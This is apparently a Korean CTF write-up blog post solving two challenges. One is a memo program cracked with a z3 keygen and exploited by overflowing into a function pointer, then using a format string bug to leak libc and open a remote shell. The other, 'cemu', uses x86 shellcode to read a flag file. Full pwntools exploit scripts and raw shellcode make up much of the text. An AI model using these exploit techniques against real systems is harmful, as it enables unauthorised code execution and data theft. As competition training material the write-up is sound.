.text:0000000000400E48 movzx   eax, [rbp+var_24]
.text:0000000000400E4C or      [rbp+var_18], rax
.text:0000000000400E50 shl     [rbp+var_18], 10h
.text:0000000000400E55 cmp     [rbp+var_18], 0

제품 키를 검증하는 0x400CBB(check_key) 함수의 코드입니다. 사용자 입력의 12바이트가 위 루틴에서 사용되는 것으로 보아 제품키는 12바이트 길이입니다. 0x400E55 위치의 조건 검사를 만족하는 입력이 제품 키입니다.

#!/usr/bin/python -u
from z3 import *
from string import lowercase
s = Solver()
x, y, z = BitVecs("x y z", 16)
var_22 = BitVecVal(0x0F0F, 16)
var_24 = BitVecVal(0x0FF0, 16)
var_26 = BitVecVal(0xABAB, 16)
var_28 = BitVecVal(0xACAC, 16)
#movzx   eax, [rbp+var_22]
eax = ZeroExt(16, var_22)
#shl     eax, 8
#mov     edx, eax
edx = eax << 8
#movzx   eax, [rbp+var_22]
#shr     ax, 8
#or      eax, edx
#mov     edx, eax
edx = edx | LShR(ZeroExt(16, var_22), 8)
#movzx   eax, [rbp+var_28]
#xor     ax, [rbp+var_26]
#xor     ax, [rbp+var_24]
#add     eax, edx
#mov     edx, eax
edx = ZeroExt(16, var_28 ^ var_26 ^ var_24) + edx
#movzx   eax, [rbp+x]
#xor     eax, edx
eax = ZeroExt(16, x) ^ edx
#mov     [rbp+var_28], ax
var_28 = Extract(15, 0, eax)
#movzx   eax, [rbp+var_26]
#shl     eax, 5
#mov     edx, eax
edx = ZeroExt(16, var_26) << 5
#movzx   eax, [rbp+var_26]
#shr     ax, 0Bh
#or      eax, edx
#mov     edx, eax
edx = edx | LShR(ZeroExt(16, var_26), 0xb)
#movzx   eax, [rbp+var_26]
#xor     ax, [rbp+var_28]
#xor     ax, [rbp+var_22]
#add     eax, edx
#mov     edx, eax
edx = ZeroExt(16, var_26 ^ var_28 ^ var_22) + edx
#movzx   eax, [rbp+y]
#xor     eax, edx
#mov     [rbp+var_26], ax
var_26 = Extract(15, 0, ZeroExt(16, y) ^ edx)
#movzx   eax, [rbp+var_26]
#shl     eax, 3
#mov     edx, eax
edx = ZeroExt(16, var_26) << 3
#movzx   eax, [rbp+var_26]
#shr     ax, 0Dh
#or      eax, edx
#mov     edx, eax
edx = LShR(ZeroExt(16, var_26), 0xd) | edx
#movzx   eax, [rbp+var_24]
#xor     ax, [rbp+var_26]
#xor     ax, [rbp+var_28]
#add     eax, edx
#mov     edx, eax
edx = ZeroExt(16, var_24 ^ var_26 ^ var_28) + edx
#movzx   eax, [rbp+z]
#xor     eax, edx
#mov     [rbp+var_24], ax
var_24 = Extract(15, 0, ZeroExt(16, z) ^ edx)
#movzx   eax, [rbp+var_28]
eax = ZeroExt(16, var_28)
#or      [rbp+var_18], rax
#shl     [rbp+var_18], 10h
var_18 = ZeroExt(32, eax) << 0x10
#movzx   eax, [rbp+var_26]
#or      [rbp+var_18], rax
#shl     [rbp+var_18], 10h
var_18 = (var_18 | ZeroExt(48, var_26)) << 0x10
#movzx   eax, [rbp+var_24]
#or      [rbp+var_18], rax
#shl     [rbp+var_18], 10h
var_18 = (ZeroExt(48, var_24) | var_18) << 0x10
s.add(var_18 == 0)
s.check()
m = s.model()
print "%04d%04d%04d" % (m[x].as_long(), m[y].as_long(), m[z].as_long())
#615066814080

z3 smt solver를 이용해 제품 키를 알아낼 수 있습니다.

input product key: 615066814080
Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >>

알맞은 제품 키를 입력하면 추가 기능을 제공합니다. 간단한 메모 프로그램으로 메모를 생성/삭제/읽기 하는 기능이 구현되어 있습니다.

.text:0000000000400A2F mov     [rbp+pBuffer], rdi
.text:0000000000400A33 mov     rax, fs:28h
.text:0000000000400A3C mov     [rbp+cookie], rax
.text:0000000000400A40 xor     eax, eax
.text:0000000000400A42 movzx   eax, cs:count
.text:0000000000400A49 cmp     al, 9
.text:0000000000400A4B jle     short loc_400A5C
.text:0000000000400A4D mov     edi, offset s   ; "full"
.text:0000000000400A52 call    _puts
...
.text:0000000000400A7C movzx   eax, cs:count
.text:0000000000400A83 movsx   rax, al
.text:0000000000400A87 shl     rax, 5
.text:0000000000400A8B mov     rdx, rax
.text:0000000000400A8E mov     rax, [rbp+pBuffer]
.text:0000000000400A92 add     rax, rdx
.text:0000000000400A95 mov     qword ptr [rax+24], offset dump2
.text:0000000000400A9D mov     edi, offset aInsert ; "insert >> "
.text:0000000000400AA2 mov     eax, 0
.text:0000000000400AA7 call    _printf
.text:0000000000400AAC lea     rax, [rbp+s]
.text:0000000000400AB0 mov     rdi, rax
.text:0000000000400AB3 call    recv_input
.text:0000000000400AB8 lea     rax, [rbp+s]
.text:0000000000400ABC mov     rdi, rax        ; s
.text:0000000000400ABF call    _strlen
.text:0000000000400AC4 mov     rsi, rax
.text:0000000000400AC7 movzx   eax, cs:count
.text:0000000000400ACE movsx   rax, al
.text:0000000000400AD2 shl     rax, 5
.text:0000000000400AD6 mov     rdx, rax
.text:0000000000400AD9 mov     rax, [rbp+pBuffer]
.text:0000000000400ADD add     rax, rdx
.text:0000000000400AE0 mov     rcx, rax
.text:0000000000400AE3 lea     rax, [rbp+s]
.text:0000000000400AE7 mov     rdx, rsi        ; n
.text:0000000000400AEA mov     rsi, rax        ; src
.text:0000000000400AED mov     rdi, rcx        ; dest
.text:0000000000400AF0 call    _memcpy
.text:0000000000400AF5 movzx   eax, cs:count
.text:0000000000400AFC add     eax, 1
.text:0000000000400AFF mov     cs:count, al

메모를 생성하는 0x400A27 함수의 코드입니다. 메모 데이터는 main 함수에서 calloc(10, 32)로 할당한 버퍼에 저장되고 아래 구조를 갖습니다.

[            data(24)            ][    pFunc(8)    ]

메모를 생성할 때 데이터 버퍼가 24바이트 크기이지만 32바이트만큼 사용자 입력을 받기 때문에 버퍼오버플로우 취약점이 발생합니다. 메모 생성과 함께 초기화되는 함수 포인터를 24바이트 입력 데이터에 이어지는 사용자 입력 값으로 변경할 수 있습니다.

.text:0000000000400A0E mov     rax, [rbp+pBuffer]
.text:0000000000400A12 mov     rdx, [rax+24]
.text:0000000000400A16 mov     rax, [rbp+pBuffer]
.text:0000000000400A1A mov     rdi, rax
.text:0000000000400A1D mov     eax, 0
.text:0000000000400A22 call    rdx
.text:0000000000400A24 nop
.text:0000000000400A25 leave
.text:0000000000400A26 retn

메모를 확인 기능의 “Dump” 명령을 구현하는 0x4009DD 함수의 코드입니다. 메모 데이터의 0x24 오프셋에 함수를 호출합니다. 버퍼오버플로우 취약점을 이용해 함수 포인터를 변경하고 “Dump” 명령을 수행하면 프로그램 흐름을 변경할 수 있습니다.

생성되는 모든 메모 데이터는 모두 함수 포인터를 가지지만 코드 구조상 첫 번째 메모 데이터의 함수 포인터만 이용하게 되고 rdi 레지스터에 main 함수에서 할당된 힙 메모리 주소가 전달되고 해당 메모리의 0~32 바이트는 사용자가 메모를 생성할 때 입력한 데이터가 존재합니다.

.text:0000000000400CB3 call    _printf
.text:0000000000400CB8 nop
.text:0000000000400CB9 leave
.text:0000000000400CBA retn

메뉴 입력을 유효하지 않을 때 실행되는 0x400C8B 함수의 코드입니다. 함수 포인터를 0x400CB3 주소로 변경하면 printf 함수에 첫 번째 인자로 사용자 입력 데이터를 전달해 포맷 스트링 버그를 발생시킬 수 있고 printf 함수가 실행된 직후 함수 에필로그 과정이 있어 스택을 정상적으로 복구하여 프로그램 실행 흐름에 영향을 주지 않습니다.

포맷 스트링 함수를 반복해서 실행할 수 있기 때문에 메모리를 유출해 system 함수의 주소를 계산하고 원격 쉘을 획득할 수 있습니다.

#!/usr/bin/python -u
from pwn import *
fsb = lambda s:s + "A"*(24-len(s)) + "\xb3\x0c\x40"
c = remote("175.119.158.133", 23232)
c.recvuntil(": ")
c.sendline("615066814080")
c.recvuntil("> ")

# locate puts got
c.sendline("1")
c.recvuntil("> ")
c.sendline(fsb("%6299672c%28$n"))
c.sendline("3")
c.recvn(6299672)
c.recvuntil("> ")
c.sendline("2")
c.recvuntil("> ")
c.sendline("0")
c.recvuntil("> ")

# puts got leak
c.sendline("1")
c.recvuntil("> ")
c.sendline(fsb("puts:%47$s"))
c.sendline("3")
c.recvuntil("puts:")
system = u64(c.recvn(6) + "\x00\x00") - 169968
c.recvuntil("> ")
c.sendline("2")
c.recvuntil("> ")
c.sendline("0")
c.recvuntil("> ")

# system(/bin/sh)
c.sendline("1")
c.recvuntil("> ")
c.sendline("sh;" + "A"*21 + p64(system))
c.recvuntil("> ")
c.sendline("3")
c.interactive()
c.close()

cemu

Welcome to CEmu World
Your goal is set the register below

Welcome to CEmu World - stage2
Your goal is set the register below
eax - ebp + esp * edx + edi + ebx + esi * ecx  = 2945267984

Welcome to CEmu World - stage3
Your goal is find secret value in memory!

Welcome to CEmu World - stage4
Your goal is control eip yeah!
EIP: 0xf5fa6

Welcome to CEmu World - stage5(final)
Your goal is read flag file! good luck!

서버에서 에뮬레이터가 동작하고 각 스테이지마다 요구되는 상황이 되도록 x86 쉘코드를 입력해야 하는 문제입니다.

#!/usr/bin/python -u
from pwn import *
from re import findall
from subprocess import check_output
while True:
	c = remote("175.119.158.136", 31337)
	#stage1
	r = c.recvuntil("input Opcode")
	code = ""
	for s in findall(".{3} = 0x.{0,8}", r):
		s = s.replace("=", ",")
		code += check_output(["rasm2", "mov %s" % s]).strip()
	c.sendline(code)
	#stage2
	r = c.recvuntil("input Opcode")
	c.send(check_output(["rasm2", "mov eax,%s" % findall("=.*", r)[-1][2:]]))
	c.recv()
	r = c.recv()
	if r.find("input Opcode") != -1:break
	c.close()
#stage3
"""
.global main
main:
	mov $0x1020, %edi
scan:
	scasb
	jz scan
	mov %edi, %eax
"""
c.sendline("bf20100000ae74fd89f8")
#stage4
r = c.recvuntil("input Opcode").split("\n")
c.send(check_output(["rasm2", "mov eax,{0};mov [eax],0xfeeb;jmp eax".format(r[-2][5:])]))
#stage5
"""
.global main
main:
	#open
	movl $0x67616c66, (%esp)
	movb $0, 4(%esp)
	mov $5, %eax
	mov %esp, %ebx
	mov $0, %ecx
	int $0x80
	#read
	mov %eax, %ebx
	mov $3, %eax
	mov %esp, %ecx
	mov $100, %edx
	int $0x80
	#write
	mov $4, %eax
	xor %ebx, %ebx
	int $0x80
"""
c.recvuntil("input Opcode")
c.sendline("c70424666c6167c644240400b80500000089e3b900000000cd8089c3b80300000089e1ba64000000cd80b80400000031dbcd80")
c.interactive()
c.close()

Leave a Reply

Your email address will not be published. Required fields are marked *